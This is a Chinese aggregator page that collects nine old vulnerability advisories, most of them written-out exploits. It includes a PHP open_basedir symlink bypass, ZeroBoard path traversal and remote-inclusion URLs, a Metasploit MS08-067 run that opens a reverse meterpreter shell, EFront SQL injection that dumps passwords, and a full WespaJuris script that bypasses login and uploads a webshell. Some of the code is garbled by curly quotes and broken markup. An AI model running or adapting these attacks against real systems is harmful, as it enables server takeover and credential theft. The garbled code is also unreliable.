PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

| 收藏本文 下载本文 作者:xiaotao635

以下是小编帮大家整理的PHP 5.2.11/5.3.0 的多个漏洞漏洞预警(共含9篇),欢迎大家分享。同时,但愿您也能像本文投稿人“xiaotao635”一样,积极向本站投稿分享好文章。

PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

篇1:PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

/*

PHP 5.2.11/5.3.0 symlink open_basedir bypass

by Maksymilian Arciemowicz securityreason.com/

cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG

*/

$fakedir=“cx”;

$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];

else if(!empty($_POST['file'])) $file=$_POST['file'];

else $file=“”;

echo '

src=“

This'>securityreason.com/gfx/logo.gif?cx5211.php”>

This is exploit

from

href=“securityreason.com/” title=“Security Audit PHP”>Security Audit

Lab - SecurityReason labs.

Author : Maksymilian Arciemowicz

Script. for legal use only.

PHP 5.2.11 5.3.0 symlink open_basedir bypass

More: SecurityReason

action=“'.$_SERVER[”HTTP_HOST“].htmlspecialchars($_SERVER[”PHP_SELF

“]).'” method=“post”>

value=“'.htmlspecialchars($file).'”>

value=“Create Symlink”>';

if(empty($file))

exit;

if(!is_writable(“.”))

die(“not writable directory”);

$level=0;

for($as=0;$as<$fakedep;$as++){

if(!file_exists($fakedir))

mkdir($fakedir);

chdir($fakedir);

}

while(1<$as--) chdir(“..”);

$hardstyle. = explode(“/”, $file);

for($a=0;$a

if(!empty($hardstyle[$a])){

if(!file_exists($hardstyle[$a]))

mkdir($hardstyle[$a]);

chdir($hardstyle[$a]);

$as++;

}

}

$as++;

while($as--)

chdir(“..”);

@rmdir(“fakesymlink”);

@unlink(“fakesymlink”);

@symlink(str_repeat($fakedir.“/”,$fakedep),“fakesymlink”);

// this loop will skip allready created symlinks.

while(1)

if(true==(@symlink(“fakesymlink/”.str_repeat(“../”,$fakedep-1).$file,

“symlink”.$num))) break;

else $num++;

@unlink(“fakesymlink”);

mkdir(“fakesymlink”);

die('check symlink

href=“./symlink'.$num.'”>symlink'.$num.' file');

?>

篇2:ServU多个安全漏洞漏洞预警

受影响系统:

serv-u serv-u 15.x

描述:

--------------------------------------------------------------------------------

Serv-U是一种使用广泛的FTP服务器程序,

Serv-U 15.1.0.458之前版本没有验证用户名称时会返回不同的响应,这可导致枚举有效的用户名称,某些用户输入没有正确过滤即返回给用户,这可导致在用户浏览器会话中执行任意HTML和脚本代码,

<*来源:vendor

链接:secunia.com/advisories/58991/

*>

建议:

--------------------------------------------------------------------------------

厂商补丁:

serv-u

------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

www.serv-u.com/releasenotes/

篇3:腾讯多个unfixed bugs漏洞预警

By Superhei

Sunday, April 24,

一、邪恶的filterflag

关于filterflag的问题最早报告在4月的《QQmail Multiple Xss Vulnerabilities》一文里,但是直到今天该问题没有彻底得到解决,多个功能都可以触发,最直接的功能就是“打印”功能:

m353.mail.qq.com/cgi-bin/readmail?sid=[xxx]&t=readmail_print&s=print&filterflag=true&mailid=[xxx]

默认直接引入filterflag=true,当被攻击者使用此功能时,就可能直接被xss攻击。我们在看看“读邮件”功能,通过上次报告的腾讯“修补”的方式其实只是同过引入一个iframe打开,通过分析访问的url可以得到真正的读邮件功能的url:

m353.mail.qq.com/cgi-bin/readmail?folderid=1&t=readmail&mailid=[xxx]&mode=pre&maxage=3600&base=12&ver=1&sid=[xxx]&newwin=true&nocheckframe=true

我们附加filterflag=true后成功触发xss。 对于实际利用来说,mailid和sid都是随着登录而变化的,那么我们怎么得到它们呢? 通过上面的url可以看出mailid和sid都是get提交的变量,那么当我们引入第三方内容的时候通过取HTTP_REFERER可以得到当前邮件的url,当然包括了mailid和sid了!:)

poc设计如下:

邮件1的代码:

第三方内容[mail.php]:

提取HTTP_REFERER[即邮件1的url]后,注入filterflag=true后发送 邮件2

邮件2的代码:

test

攻击者访问邮件2后点击test的link,访问设置了filterflag=true的邮件1,导致我们执行。

这个利用过程我称其为《回旋镖》

补丁建议:

A、这个开关的设计无非所怕过滤系统影响业务,不知道官方同学有没有跳查过真正对业务有多大的影响,必要是取消这个开关。[这又是一个安全于业务的话题!!]

B、如果这个开关必不可少的话,建议所用cookie/session等提交。

C、在需要filterflag=true的时候使用验证码,并提示用户保证邮件内容安全。

D、禁止在get方式提交敏感数据[sid/mailid]

二、悲剧的json

最早报告json导致的xss问题可以追溯到去年的2月我写过一篇blog《不要忘记数据本身的解析》当时的demo就是用的qun.qq.com上多个json导致的xss。后来我在今年的mhtml和utf7 bom导致的json里的xss问题。

现在我们在看看最开始提到的demo里的xss,到本文为止xss依旧!!!!

补丁建议:

引用blog《about utf7-BOM string injection》

--------------------------------

那么解决这个问题的方案有2点:

1. 严格控制数据文件,返回的Content-Type。

2. 数据存储时,使用编码。

当时甲方的朋友们看到json里直接插入html标签进行xss后,都基本所用了“2. 数据存储时,使用编码”了,而且没有去限制“Content-Type”,基本很在继续的“text/html”,这个也为这次的utf7-BOM string injection埋下了罪恶种子,如果这次再不修改Content-Type,我想有可能种子还有机会发芽开花!! :) 我想如果上面的2点方案同时用上,应该是一个不错的选择。

-------------------------------

三、没完没了的

就qqmail来说对于embed标签出现的安全问题从来就没有消停过,最早的qqmail大概所前可以直接通过:

来xss的。到里20《QQmail Multiple Xss Vulnerabilities》里需要使用相对路径了:

当时可以通过上传文件来调用...后来不知道什么时候限制了几个安全属性,设置了allownetworking=“internal” allowscriptaccess=“never”

不过在今年4月根据Gareth Heyes发现的webkit下的code属性可以调用flash:

再一次成功xss,很块这个也被fixed了,不过在与此同时我发现了qqmail的另外一个缺陷[我同样也通知了官方的朋友,但是到本文为止未修补]:在处理embed标签时没有指定type属性,那么我们在webkit下可嵌入html代码[相当于iframe],

对于利用先不说挂webkit的0day,貌似这个不可以直接在qqmail域执行js。:(

我们跳到文章前面第一节里的“回旋镖”,当时邮件2利用的这个需要点击,如果我们直接利用embed嵌入呢? :)

补丁建议:

严格按照安全所用embed的安全规范走,规定type属性。

四、附件之疼

qqmail对于html附件一直防御比较严格的,就我发现的前后报告了2次的utf7的xss,第一次不记得是什么时候里当时用指定utf7时 打开html附件可以直接搞,第二次是今年utf7-bom的html附件。当然报告后都很及时的补丁了...

然而就在前几天又发现一个问题。qqmail在处理html附件时直接有显示“打开”功能,这个打开的网页肯定是做了安全过滤的,但是对于非html后缀的文件呢?

进过测试发现html附件“打开”的url为:

m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]&action=view&func=inline

对应的附件“下载”url为:

m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]

很显然url附加&action=view&func=inline就可以了....

于是我们添加附件名为非html后缀的文件:

m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]

用ie访问m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]&action=view&func=inline 成功xss。

实际利用一样要得到mailid和sid,如法炮制《回旋镖》:)

补丁建议:

对于附件问题来说在《QQmail Multiple Xss Vulnerabilities》问及《我在qqmail上放了*个后门》文里提到的保证”代码与数据分离是安全设计的重要原则“ 也就是附件与mail的域完全分离...

五、微博的csrf

在去年的时候报告了2个 的csrf漏洞。微博防御csrf的方式之是判断了HTTP_REFERER,那么我们只要绕过对HTTP_REFERER的判断或者通过as/js等可以自定义HTTP_REFERER的方法就可以进行csrf攻击了.

首先说一下已经补丁了的非常经典的漏洞:

设置子域名t.qq.com.80vul.com 直接写个提交的html,就可以成功csrf了。这个漏洞在报告后其实也没有马上fix的,多次建议他们才修补!! 这个属于对referer处理的正则逻辑漏洞。

另外一个是PZ牛发现的一个firefox+flash可以伪造HTTP_REFERER的漏洞:

不过这个漏洞不在适用于firefox4.0,对于这样的浏览器的问题貌似应用方很无辜?根据我以前的blog文《web app安全的独立性》你还这样认为吗?另外今年的mhtml和utf7 bom导致的安全问题一样的道理。

补丁建议:

1、对于csrf的攻防在目前来是比较成熟的。建议增加token等机制。

2、重视《web app安全的独立性》

六、crossdomain.xml

早在n年前我就报告了qun.qq.com/crossdomain.xml的设置问题,直到前不久才设置为:

之前都是悲剧的,至于这样的后果这里就不谈了,我们在随便看看其他的子域名:

yc.qq.com/crossdomain.xml

ent.qq.com/crossdomain.xml

...

都还是domain=“*”

至于其他的基本都是domain=“*.qq.com” domain=“*.soso.com”等,这样对于腾讯这样的庞大的子域名系统,找一个可以上传文件的子域名就可能突破。

补丁建议:

a、审计业务的需求,应该把握crossdomain.xml的设置,如没有必要这个xml都可以删除。

b、保证”代码与数据分离是安全设计的重要原则“[可以上传文件等的独立域名体系]

七、其他

比如国内各大公司还没有重视的json-hijecking、Clickjacking、FPI、子域名外包网站等问题。

小结

上面一些漏洞都是报告过但是没有得到完美处理的问题。这和这些漏洞本身的特点有关系,大多属于框架整体、业务功能本事的特点以及标准化的安全规范上的问题,所以只有从这些方面去着手才有可能从根本上解决问题。上面提到的那些漏洞就包括以下的一些原则或规范:

1、 《代码与数据分离是安全设计的重要原则》by 刺

2、 《web app安全的独立性》

3、 《不要忘记数据本身的解析》

4、 《Flash应用安全规范》 by jianxin

5、 确保好敏感数据的安全

从上面一些问题可以看出来腾讯很多漏洞都是从诞生来就埋下的隐患,而且在实际的安全推动过程缺少对应的规范原则,或者缺少执行力……

抛弃“见洞补漏”的刀耕火种的原始方式吧!

篇4:ZeroBoard多个漏洞

本文作者: 剑心[B.C.]

发布日期:.1.13

漏洞概述:

ZeroBoard是一款在Korea使用广泛的用于web论坛程序,最近在ZeroBoard中发现了多个漏洞,这些漏洞允许一些服务器上敏感信息被泄露,或者导致任意的Php脚本文件被包含并且执行。

漏洞发现:由SSR小组提供漏洞信息。

漏洞细节:

1)文件泄露漏洞

利用这个漏洞需要的系统环境:

Php.ini中以下内容必须这样设置:magic_quotes_gpc = off(注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。)

漏洞描述:

当magic_quotes_gpc设置为off时,Php将丢弃含有NULL空字符的输入变量。

可以在_head.php中找到以下的漏洞代码:

if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“”;

include $_zb_path.“lib.php”;}

也可以在include/write.php中发现以下的漏洞代码:

if(eregi(“:\/\/”,$dir)) $dir=“.”;

include $dir.“/write.php”;

还有outlogin.php中的漏洞代码:

if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“./”;

[snip]

@include $_zb_path.“_head.php”;

漏洞证明:

以下的任何一个URL将触发这个漏洞。

[victim]/_head.php?_zb_path=../../../../../etc/passwd%00

[victim]/include/write.php?dir=../../../../../etc/passwd%00

[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00

2)Php原代码注射漏洞

所需的系统环境:

Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.

漏洞描述:

在print_category.php中使用的$dir变量没有初始化,于是允许远程攻击者包含任意处于其他服务器上的文件,

漏洞证明:

以下的任何一个URL将触发这个漏洞。

[victim]/include/print_category.php?setup[use_category]=1&dir=[attacker]/

[victim]/skin/zero_vote/login.php? dir=[attacker]/

[victim]/skin/zero_vote/setup.php? dir=[attacker]/

[victim]/skin/zero_vote/ask_password.php? dir=[attacker]/

[victim]/skin/zero_vote/error.php? dir=[attacker]/

在include/print_category.php中发现的漏洞代码:

在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:

非正式补丁:

在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:

ZeroBoard 版本4.1pl5

修改_head.php的13行如下:

if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“”;

修改include/write.php的16行如下:

if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;

修改outlogin.php的50行如下:

if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“./”;

将以下的代码插入到include/print_category.php的第3行:

if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;

修改skin/zero_vote/login.php的第1行,skin/zero_vote/setup.php的42行,skin/zero_vote/ask_password.php的第1行,skin/zero_vote/error.php的第1行如下:

“$dir/value.php3”; ?>

篇5:MS08067漏洞漏洞预警

这个漏洞已经暴露了很久了,这里我就不说原理了我也不会,所以直接用metasploit操作一下,大牛请绕过

root@bt:~# genlist -s 10.10.10.*

10.10.10.1

10.10.10.2

10.10.10.128

10.10.10.130

10.10.10.254

root@bt:~# nmap -sS -Pn 10.10.10.128

Starting Nmap 6.01 ( nmap.org ) at -04-23 01:49 EDT

Nmap scan report for attacker.dvssc.com (10.10.10.128)

Host is up (0.0000060s latency).

All 1000 scanned ports on attacker.dvssc.com (10.10.10.128) are closed

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

root@bt:~# nmap -sS -Pn 10.10.10.130

Starting Nmap 6.01 ( nmap.org ) at 2014-04-23 01:50 EDT

Nmap scan report for service.dvssc.com (10.10.10.130)

Host is up (0.011s latency).

Not shown: 985 closed ports

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

777/tcp open multiling-http

1025/tcp open NFS-or-IIS

1026/tcp open LSA-or-nterm

1027/tcp open IIS

1030/tcp open iad1

1521/tcp open oracle

6002/tcp open X11:2

7001/tcp open afs3-callback

7002/tcp open afs3-prserver

8099/tcp open unknown

MAC Address: 00:0C:29:D3:08:A0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

root@bt:~#

root@bt:~# nmap --script=smb-check-vulns 10.10.10.130

Starting Nmap 6.01 ( nmap.org ) at 2014-04-23 01:50 EDT

Nmap scan report for service.dvssc.com (10.10.10.130)

Host is up (0.00032s latency).

Not shown: 985 closed ports

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

777/tcp open multiling-http

1025/tcp open NFS-or-IIS

1026/tcp open LSA-or-nterm

1027/tcp open IIS

1030/tcp open iad1

1521/tcp open oracle

6002/tcp open X11:2

7001/tcp open afs3-callback

7002/tcp open afs3-prserver

8099/tcp open unknown

MAC Address: 00:0C:29:D3:08:A0 (VMware)

Host script. results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)

| SMBv2 DoS (CVE--3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

| MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)

|_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

root@bt:~# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...

the matrix has you

follow the white rabbit.

knock, knock, Neo.

(`. ,-,

` `. ,;' /

`. ,'/ .'

`. X /.'

.-;--''--.._` ` (

.' / `

, ` ' Q '

, , `._ \

,.| ' `-.;_'

: . ` ; ` ` --,.._;

' ` , ) .'

`._ , ' /_

; ,''-,;' ``-

``-..__``--`

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 927 exploits - 499 auxiliary - 151 post

+ -- --=[ 251 payloads - 28 encoders - 8 nops

msf >search ms08_067

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

exploit/windows/smb/ms08_067_netapi -10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption

msf >use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

-- ----

0 Automatic Targeting

msf exploit(ms08_067_netapi) >set RHOST 10.10.10.130

RHOST =>10.10.10.130

msf exploit(ms08_067_netapi) >set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD =>windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) >show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 10.10.10.130 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique: seh, thread, process, none

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic Targeting

msf exploit(ms08_067_netapi) >set LHOST 10.10.10.128

LHOST =>10.10.10.128

msf exploit(ms08_067_netapi) >exploit

[*] Started reverse handler on 10.10.10.128:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows - No Service Pack - lang:Unknown

[*] Selected Target: Windows 2003 SP0 Universal

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 10.10.10.130

[*] Meterpreter session 1 opened (10.10.10.128:4444 ->10.10.10.130:3722) at 2014-04-23 01:53:59 -0400

篇6: XSIO漏洞漏洞预警

文章作者:aullik5

原始出处:hi.baidu.com/aullik5/blog ... a02c6785352416.html

今天要讲的这个漏洞是一个非常猥琐的漏洞,

XSIO漏洞漏洞预警

大部分网站都有这个漏洞,不光是百度。

什么是XSIO,为什么说它猥琐呢?

XSIO是因为没有限制图片的position属性为absolute,导致可以控制一张图片出现在网页的任意位置。

那么我们就可以用这张图片去覆盖网页上的任意一个位置,包括网站的banner,包括一个link、一个button。

这就可以导致页面破坏。而给图片设置一个链接后,很显然就可以起到一个钓鱼的作用。

XSIO漏洞:

由于对正常的HTML 标签 是没有做过滤的,所以我们可以用这些标签来实施XSIO攻击,

在百度,发blog是在一个table里,所以我们要先把table闭合掉,然后再插入合适的图片。

如以下代码:

复制内容到剪贴板

代码:

通过控制 left 和 top的值,我们就可以把这张图片覆盖到网页上的任意位置,而link 则是指向了 www.ph4nt0m.org

百度.jpg(40.08 KB)

2008-10-21 20:50

如图:匿名用户的头像被我覆盖到了banner处.

在实施具体攻击时,可以用图片覆盖link或者banner,当别人点击原本是link或button时,将跳到我们的恶意网站去。

所以说,这是一个非常猥琐的漏洞!

欲知后事如何,且听下回分解!

PS: 本次活动仅仅是个人行为,与任何组织或集体无关.

从明天开始,将进入我们的XSS之旅。

篇7:DeepSoft.com.sys.Servlet上传漏洞漏洞预警

作者:hackdn

注明

JSP+MSSQL的系统,国外应用广,出在注册上传上,过滤不严,修改下面POST,上传JSP

要上载的照片:

DeepSoft.com.sys.Servlet上传漏洞漏洞预警

文件大小没有限制,只是“*.ai,*.psd”文件可能上传后无法显示而已。“>

篇8:EFront 3.6.9 社区版多个漏洞漏洞预警

# Exploit Title: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities

# Google Dork: ”eFront (version 3.6.9)“ inurl:index.php?ctg=*

# Date: 5/09/

# Public release: When 3.6.10 will be released

# Author: IHTeam

# Software Link:www.efrontlearning.net/download/download-efront.html

# Tested on: efront_3.6.9_build11018

# Original Advisory:iht.li/FWh

# Advisory code:iht.li/p/0VV

Default username and password:

student:student

professor:professor

How to become admin:

Request 1: /change_account.php?login=admin

Request 2: /userpage.php

OR

simple use the [Switch account] option on top of the page;

Now you are in admin area;

SQL Injection:

www/student.php?ctg=messages&folder=UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --

www/professor.php?ctg=messages&folder=UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --

www/admin.php?ctg=messages&folder=UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --

篇9:WespaJuris = 3.0多个缺陷及修复漏洞预警

/*

#标题spaJuris <= 3.0 auto exploit

# 作者: WhiteCollarGroup

# 网站: www.wespadigital.com.br/

# 下载地址 www.wespadigital.com.br/download/wespajuris_v3_0_2012.rar

# 影响版本: 3.0

# 测试平台: Apache Server

WespaJuris is a software for law firms.

Use this exploit to upload a webshell on vulnerable applications.

Usage:

php exploit.php

示例

$ php exploit.php

WespaJuris <= 3.0 exploit

Coded by WhiteCollarGroup

Type Ctrl + C for exit

Try ”php exploit.php /about“ for get info

[?] Target address (login form):

www.xxx.com/juris/

[?] Webshell path (in your computer):

C:\wamp\www\webshell.php

[*] Login...

[*] Trying to add php on allowed file formats.

[*] Adding a new client.

[*] Getting new client ID

[!] Client ID: 30

[*] Adding a new process.

[*] Getting new process ID.

[!] New process ID: 37

[*] Adding new task.

[*] Getting new task ID

[*] New task ID: 16

[*] Adding new doc type.

[*] Trying to get new doc type ID.

[!] New doc type ID: 7

[*] Trying to upload file...

[*] Thinking about file address...

[!] Exploit complete.

[i] You have now a webshell in

Then, go to localhost/juris/clientdir/30/dl/webshell.php and see your webshell.

:: How this exploit works? Manually work.

~>Login bypass

On login form, enter ”SQLi strings“:

Login: ' or 1=1-- wc

Pass: wcgroup

~>Configure file formats

Go to ”CONFIGURAÇÕES“.

In ”Extensões de documentos“, add ”php“.

BEGIN Do it only if the system is blank

~>Add new client

Go to ”CLIENTES E USUÁRIOS“ >”adicionar“.

Add your own user.

~>Add new process

Go to ”PROCESSOS“ >”adicionar“.

Add your own process.

~>Add new task

Go to ”PROCESSOS“.

Click on the process that you've created.

In ”Tarefas“, click ”Adicionar“.

~>Add new document type

Go to ”DOCUMENTOS“.

Click ”ADICIONAR/EDITAR TIPO DOCUMENTO“.

In ”Adicionar Tipo de Documento“ form, type anything and then, click ”Adicionar“.

END Do it only if the system is blank

~>Get arbitrary file upload

Go to ”DOCUMENTOS“.

Click ”ADICIONAR DOCUMENTO“.

In ”Título“, select a client and a process. Click ”PROSSEGUIR“.

Select a task in ”TAREFAS“, a document type in ”Escolha um Tipo“.

In ”Título do documento“, type anything.

Upload file in ”Subir arquivo do Documento“. Leaves ”Link para Documento na Internet“ empty.

Click ”Adicionar Novo Documento“.

Click ”DOCUMENTOS“ and click on the your webshell.

*/

set_time_limit(0);

echo ”WespaJuris <= 3.0 auto exploit\n“;

echo ”Coded by WhiteCollarGroup\n“;

echo ”Type Ctrl + C for exit\n“;

if((isset($argv[1])) AND ($argv[1]==”/about“)) {

echo ”WhiteCollarGroup\www.xxx.com \nwhitecollar_group@hotmail.com\nTwitter/Facebook/Blogspot: WCollarGroup\nirc.virtualife.com.br #wcgroup\n\n“;

exit;

} else {

echo ”Try \“php $argv[0] /about\” for get info\n“;

}

echo ”\n“;

if(!function_exists(”curl_init“)) {

echo ”PHP CURL was not found on this system.\n“;

echo ”Linux(Debian-like apt system): Type the following command on shell:\n“;

echo ”# apt-get install php5-curl\n\n“;

echo ”Unix: Edit your file php.ini and remove \“;\” from following line:\n“;

echo ”;extension=curl.so\n\n“;

echo ”Windows: Edit your file php.ini and remove \“;\” from following line:\n“;

echo ”;extension=php_curl.dll\n\n“;

echo ”Read more: www.php.net/manual/book.curl.php\n\n“;

exit;

}

puts(”Target address (login form):“, ”[?]“);

$target = trim(fgets(STDIN));

$target = preg_replace(”/index\.php$/“, null, $target);

$target = preg_replace(”/\/$/“, null, $target);

puts(”Webshell path (in your computer):“, ”[?]“);

do {

$webshell = trim(fgets(STDIN));

if(!file_exists($webshell)) echo ”File not found!“;

} while(!file_exists($webshell));

$ch = curl_init();

// login

puts(”Login...“);

curl_setopt($ch, CURLOPT_URL, $target.”/process_login.php“);

curl_setopt($ch, CURLOPT_REFERER, $target);

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_POSTFIELDS, ”do=login&username=“.urlencode(”' or 1=1-- wc“).”&password=wcgroup“);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

curl_setopt($ch, CURLOPT_USERAGENT, ”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6“);

curl_setopt($ch, CURLOPT_TIMEOUT, 60);

curl_setopt($ch, CURLOPT_COOKIEJAR, ”wcgroup.txt“);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$store = curl_exec($ch);

if(preg_match(”/Dadosde acesso incorretos, por favor tente novamente/“, $store)) {

puts(”Could not login.“, ”[-]“);

echo ”Make sure that the server uses a vulnerable version of WespaJuris.\n“;

exit;

}

// config file format

$ext = end(explode(”.“, $webshell));

puts(”Trying to add $ext on allowed file formats.“);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=settings“);

curl_setopt($ch, CURLOPT_POSTFIELDS, ”task=defsideset&new_serverdiff=0&new_dateformat=“.urlencode(”%Y/%c/%e“).”&new_extensions=“.urlencode(”$ext,php,jpg,jpeg,gif,png,psd,zip,ai,pdf,doc“));

curl_exec($ch);

// add client

puts(”Adding a new client.“);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=addclient“);

curl_setopt($ch, CURLOPT_POSTFIELDS, ”task=addclient&company=WhiteCollarGroup&address1=www.wcgroup.host56.com&address2=whitecollar_group%40hotmail.com&city=%40WCollarGroup&state=facebook.com%2FWCollarGroup&zip=wcollargroup.blogspot.com&country=irc.virtualife.com.br+%23wcgroup&phone=WCGroup&phone_alt=This+was+a+auto+exploit&fax=We+did+not+hack+your+website“);

curl_exec($ch);

// get user ID

puts(”Getting new client ID“);

curl_setopt($ch, CURLOPT_POST, 0);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=addfiles“);

$store = curl_exec($ch);

$numbers = array();

preg_match_all(”/WhiteCollarGroup<\/option>/“, $store, $numbers);

$uid = $numbers[1][0];

puts(”Client ID: $uid“, ”[!]“);

// add process

puts(”Adding a new process.“);

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=addproj“);

curl_setopt($ch, CURLOPT_POSTFIELDS, ”task=addproject&client_id=“.$uid.”&project_title=HackMySite&description=WCGroup+did+not+hacked+your+website.%0D%0AWCGroup+only+wrote+the+exploit+for+this+CMS+and+did+public+release.&startdate=08%2F06%2F2012&startdate_Month=7&miledate=08%2F06%2F2999&miledate_Month=7&findate=&findate_Month=&cost=0.00&status=Arquivado“);

$store = curl_exec($ch);

// get process ID

puts(”Getting new process ID.“);

$numbers = array();

preg_match_all(”/main\.php\?pg=projperms&pid=([0-9]*)/“, $store, $numbers);

$pid = $numbers[1][0];

puts(”New process ID: $pid“, ”[!]“);

// add task

puts(”Adding new task.“);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=addtask“);

curl_setopt($ch, CURLOPT_POSTFIELDS, ”task=addtask&clid=$uid&pid=$pid&client_id=main.php%3Fpg%3Daddtask%26clid%3D$uid&pid=$pid&task_title=Hacked+site&description=Sorry%2C+admin.&startdate=08%2F06%2F2012&startdate_Month=7&miledate=08%2F06%2F2999&miledate_Month=7&findate=&findate_Month=&status=Em+andamento¬es=Check+www.wcgroup.host56.com+for+details&tuid=0“);

$store = curl_exec($ch);

// get task id

puts(”Getting new task ID“);

curl_setopt($ch, CURLOPT_POST, 0);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=proj&clid=$uid&pid=$pid“);

$store = curl_exec($ch);

$numbers = array();

preg_match_all(”/main\.php\?pg=edittask&clid=$uid&pid=$pid&tid=([0-9]*)/“, $store, $numbers);

$taskid = $numbers[1][0];

puts(”New task ID: $taskid“);

// add doc type

puts(”Adding new doc type.“);

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=filetypes“);

curl_setopt($ch, CURLOPT_POSTFIELDS, ”task=addfiletype&file_type=hack“);

curl_exec($ch);

// get doc type id

puts(”Trying to get new doc type ID.“);

curl_setopt($ch, CURLOPT_POST, 0);

curl_setopt($ch, CURLOPT_URL, $target.”/admin/main.php?pg=filetypes“);

$store = curl_exec($ch);

$numbers = array();

preg_match_all(”/main\.php\?pg=filetypes&task=deltype&type_id=([0-9]*)/“, $store, $numbers);

$tid = $numbers[1][0];

puts(”New doc type ID: $tid“, ”[!]“);

// upload file

puts(”Trying to upload file...“);

curl_setopt($ch, CURLOPT_POST, 1);

$post = array(

”task“ =>”addfile“,

”client_id“ =>$uid,

”from“ =>”step1“,

”project_id“ =>$pid,

”clid“ =>$uid,

”task_id“ =>$taskid,

”type_id“ =>$tid,

”file_title“ =>”wcgroup“,

”file“ =>”@$webshell“

);

curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

curl_exec($ch);

// make file address

puts(”Thinking about file address...“);

$fileaddr = $target.”/clientdir/$uid/dl/“.basename($webshell);

puts(”Exploit complete.“, ”[!]“);

puts(”You have now a webshell in <$fileaddr>“, ”[i]“);

function puts($str, 0=false) {

if(!0) 0 = ”[*]“;

echo 0.” “.$str.”\n";

}

FCKeditor漏洞利用总结漏洞预警

FreeBSD I386SetLDT多个本地拒绝服务漏洞

Wordpress插件Pay With Tweet = 1.1多个缺陷及修复漏洞预警

关于MS08067的一点细节漏洞预警

dedecms 5.7 edit.inc.php文件注射漏洞预警

shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警

Thaiweb远程文件sql注入漏洞0day漏洞预警

火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警

eWebeditoR3.8 for php任意文件上传EXP漏洞预警

dhtmlmenubuilder密码及XSS跨站漏洞漏洞预警

PHP 5.2.11/5.3.0 的多个漏洞漏洞预警(精选9篇)

